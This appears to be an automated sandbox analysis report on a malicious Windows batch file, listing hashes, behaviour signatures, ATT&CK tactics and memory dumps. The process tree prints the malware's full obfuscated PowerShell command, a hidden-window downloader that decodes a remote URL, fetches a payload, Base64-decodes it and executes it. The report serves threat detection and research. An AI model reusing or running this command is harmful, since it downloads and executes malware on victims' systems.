229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
01-12-2024 02:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3.bat
Size

4KB
MD5

7d81c68c80b51bfcdea2e11ac99e606f
SHA1

5c0dae6d1b7e77f806fbeb537921222ad5136c9b
SHA256

229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3
SHA512

8a5b8d97f8e2c344a32d6ee8fe93ba020fc01dc1717500214c1235af8fe9030d0c3bd5b540d0d78699b2eaa4dadaefe7417274ebf683dc1e71b56851d8acc10b
SSDEEP

96:VDCwylmfZfGRN+0ndbI+Cd/Pfo2zkDVPKKb8Bv:VmuZf2nds+CFo28sKb81

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	1708	powershell.exe
6	1708	powershell.exe
7	1708	powershell.exe
8	1708	powershell.exe
9	1708	powershell.exe
10	1708	powershell.exe
11	1708	powershell.exe
12	1708	powershell.exe
13	1708	powershell.exe
14	1708	powershell.exe
15	1708	powershell.exe
16	1708	powershell.exe
17	1708	powershell.exe
18	1708	powershell.exe
19	1708	powershell.exe
20	1708	powershell.exe
21	1708	powershell.exe
22	1708	powershell.exe
23	1708	powershell.exe
24	1708	powershell.exe
25	1708	powershell.exe
26	1708	powershell.exe
27	1708	powershell.exe
28	1708	powershell.exe
29	1708	powershell.exe
30	1708	powershell.exe
31	1708	powershell.exe
32	1708	powershell.exe
33	1708	powershell.exe
34	1708	powershell.exe
35	1708	powershell.exe
36	1708	powershell.exe
37	1708	powershell.exe
38	1708	powershell.exe
39	1708	powershell.exe
40	1708	powershell.exe
41	1708	powershell.exe
42	1708	powershell.exe
43	1708	powershell.exe
44	1708	powershell.exe
45	1708	powershell.exe
46	1708	powershell.exe
47	1708	powershell.exe
48	1708	powershell.exe
49	1708	powershell.exe
50	1708	powershell.exe
51	1708	powershell.exe
52	1708	powershell.exe
53	1708	powershell.exe
54	1708	powershell.exe
55	1708	powershell.exe
56	1708	powershell.exe
57	1708	powershell.exe
58	1708	powershell.exe
59	1708	powershell.exe
60	1708	powershell.exe
61	1708	powershell.exe
62	1708	powershell.exe
63	1708	powershell.exe
64	1708	powershell.exe
65	1708	powershell.exe
66	1708	powershell.exe
67	1708	powershell.exe
68	1708	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1708	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 1708	2300	cmd.exe	31
PID 2300 wrote to memory of 1708	2300	cmd.exe	31
PID 2300 wrote to memory of 1708	2300	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "<#Ferskvandsfiskerierne Klenes Middelvejen Semicartilaginous #>;$Racette136='Civiliseringschance';<#Skabehoveder Papirpresser Kvalifikationsniveauet gidens #>;$Predeficiently=$Fortredes+$host.UI;If ($Predeficiently) {$Blazoned++;}function Gyps($Pernickety){$Appendiculariidae=$Sealflower+$Pernickety.Length-$Blazoned; for( $Ekvilibrisme222=2;$Ekvilibrisme222 -lt $Appendiculariidae;$Ekvilibrisme222+=3){$Tegnefilmenes='Sprtning';$Spoonbill+=$Pernickety[$Ekvilibrisme222];$Urinaler='snvrest';}$Spoonbill;}function lsevrdig($Udarmes){ . ($iliopelvic) ($Udarmes);}$Souvlaki=Gyps 'I MUnoKrz EiC lSklEiaSo/ B5 .Ib0 a Ti(B WPhi ,n CdDeo wInsSa .rN ATs Pi1 d0 e.La0Ba;Fe NeW iNdnSu6 4H ; I E xKy6 4W ; R Flrh vBo:Wi1Un2Ch1Au.Ov0 ) iG,reRtcBekOvo o/ R2A 0Cu1Fy0.e0,u1s 0 1Te DyFV.inorS.e AfLioScxS /Es1Mo2Pl1 . i0Br ';$Lokalplanomraadernes=Gyps 'TeuLsSI EAcrAf- dAE,GBjEO,NT tBl ';$Imperator=Gyps ' h.otH t ,pFis :,r/gr/ UwStw owDo.Int MwLiiGe-UniS nIntRoeDirwiiIsoB.rI,.HodH e.w/ eLMaILnVOmE y/ Bw epIn-Dainen ecExl NuS,dS eArs.k/ aIL.XM RRe/ViA jl obFrrAceexkKotUxs v.I qGrx ddF ';$svrvgtsbokserens=Gyps ' l> G ';$iliopelvic=Gyps 'GhiLyeA x ';$Reclame='indberetningspligten';$Skint='\uncontradictablely.Ove';lsevrdig (Gyps 'm $ ngAflPoOFuBM,AAsLEf: aFs,OR.XIntSte,er .rS I E mrTie BN ,=Ex$ E.dNTeVHa: GAWepEtpabdPhAtoTAlaTr+,u$ oS ,K DiLen at L ');lsevrdig (Gyps 'b $SpGI lFao BBBlAJ LUn: UpX UCyl TM OD,nTwaSmR vi Ba o= S$GeIS m KP.leLarDuAC T ioL.RPr.Uns rPMalR i rT.e(Ca$PrS ,v MrEuV PgMeTBesStBGeoP k nSH EM,RLoE NH SDa)Le ');lsevrdig (Gyps 'No[GanL eFrT R.Sis,reUnrMiv Ni .c Me pS OSkIMln,qTBeMnyavrNMlAA G.neEnRSu]Ve:ka:CoSUsEDiC.ouHvrDei lT,ry PKaRTyO tMiOBeCO o cL i ,h=Be T.[deNCaEMiT a.StsovEStcTeu crBli dTa yTiPNaRMeo dT ,OCaCHeoC lH t Y CP TeAm]He: l:I.TVoLS s,n1S.2sv ');$Imperator=$Pulmonaria[0];$Rishsts=(Gyps ' U$ uG mlA OClb kAChlI : ,a nIntPrI p,eA RT Yh,eAMuRReISkaFrn a=QunTrEHew e-B O B j E pCGaTDe .rs SykosTrTH e lmTy.BiNDreT T l. ,w SETyB ecUnl .i EEzNPltDi ');lsevrdig ($Rishsts);lsevrdig (Gyps 'F $P AWinT tE.i spruaa t BhD,aBurofiP,aSlnAf.ElH,aeInaPld eKar Dsse[ u$NaL o .kDaatrlK pGul aaConBao PmB rA.aBeaU,dHoeTerTanN eTrs.p]he= j$ SS oEmuA v ylPia IkMyi u ');$Hydrometridae=Gyps ' U$E.ATanbetB iQupsaa OtSthVaaHor KiKlaNon L.LyD CoTawRynA,lProInaKadNoF piGsl,ieBo(Al$ II mFopCre Cr,ia,it MoinrOv,Fr$KuALadOvvuno Ok ,aFotB,u KrReeAlrsa) S ';$Advokaturer=$Foxterrieren;lsevrdig (Gyps ' ,$,eg NlPaoRiB AA ,LIm:FlCM,R PA.ans,ISjAKotEnE.eS,u= N(.ntWoE.tsWatS - aPV A ItI hS. B $afaNaDInvByOAfkMiaA.TPoU SR eDerF ) T ');while (!$craniates) {lsevrdig (Gyps 'Ty$ Cg GlRsoTeb fainlme:KiUUnn ci nm SmReeprdG iSta tM,eDilG yHy= S$ tAkr Eu eeBo ') ;lsevrdig $Hydrometridae;lsevrdig (Gyps 'Wes PT DACar ntA - aSSjLFyESeeGaP T S 4D ');lsevrdig (Gyps ' n$TogK,LThOB B,nAW L :z,CC,rUnA CnS Ia a T Je JsUn=Di(OpTOvENos dTS.- up ,AJoT PHDe G$,iA .d,ov RoGrKEfA aTI uSeRste R f) S ') ;lsevrdig (Gyps ' u$EkgEmLL oBibFeA VLMe: lW,ENana,iDiT FiO V ReFoLHyYSa=ap$EsG LlGrO abcyaC Lfo:Fog lMiABrt Sk .rT S e,rl.p+Ga+ S% n$B,pSkURel SMovo cN iaS RGai OA o.poCPaOBiUB nDiT S ') ;$Imperator=$Pulmonaria[$Lenitively];}$Denimens53=318932;$Crotchet=27290;lsevrdig (Gyps 'Si$LaG ulIrostb LAReLLe: otFouS rP EG D IER SC o=sl A.G CE ltOp-miCStoSunStTFoE UN,vTP $OpAG d ov rO dKepATotbeuBlR FeBeRA. ');lsevrdig (Gyps 'Ta$V,gNolReoSabS.aFil ,:FlAHjf stFleocrb nF,oLio onTes C M,=S Re[,iSO.y Ds Pt ,eRimNe. uCwhotenStvLyeF r Ct,r] c:ha:JeF PrOuoW mInBS a scleFo6,i4 SFotVarFaiSnn Sg B(Dy$b T cuRorDie dKneOms ) W ');lsevrdig (Gyps 'Sa$ PgInLGeo aB ca.eL.g:PrAN PDoOu LfrlNoICoN AA lRspISks IENorQuN AE usAg ,=Fa Fi[h s lY SNat CeKuMDi.E,tSaeArxGeTNo. eEuN gCR OKaD oI SNMeg r]He:Kt: aFiSS CB.iFoi u.FagA,ET,TKlS.etP rU iFanD.G t(.i$ fAUnFFeT.oE.nR ,nCooStoMoN.isCo) P ');lsevrdig (Gyps 'Ar$LoGShL SO tBNoA PLSe:miNR.OBrNboe.uXT p,aO pnWoEPenCrTSoi oa pl,uLKoY =.u$NoAilP SO alHelBriU N nAW.R .i.rS,ieSarFanDiE ISD .Dus,eU oBreSNrt,ir Ci KNJyGSi( n$grD.yeTrnT IbjM ,e GnNrSU 5 ,3Te,Ca$ CToRU O nTE c ,HL e CT a)Pa ');lsevrdig $nonexponentially;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1708-4-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

Filesize
4KB

Download
memory/1708-6-0x00000000020E0000-0x00000000020E8000-memory.dmp

Filesize
32KB

Download
memory/1708-5-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/1708-7-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-8-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-9-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-10-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-11-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-12-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

Filesize
4KB

Download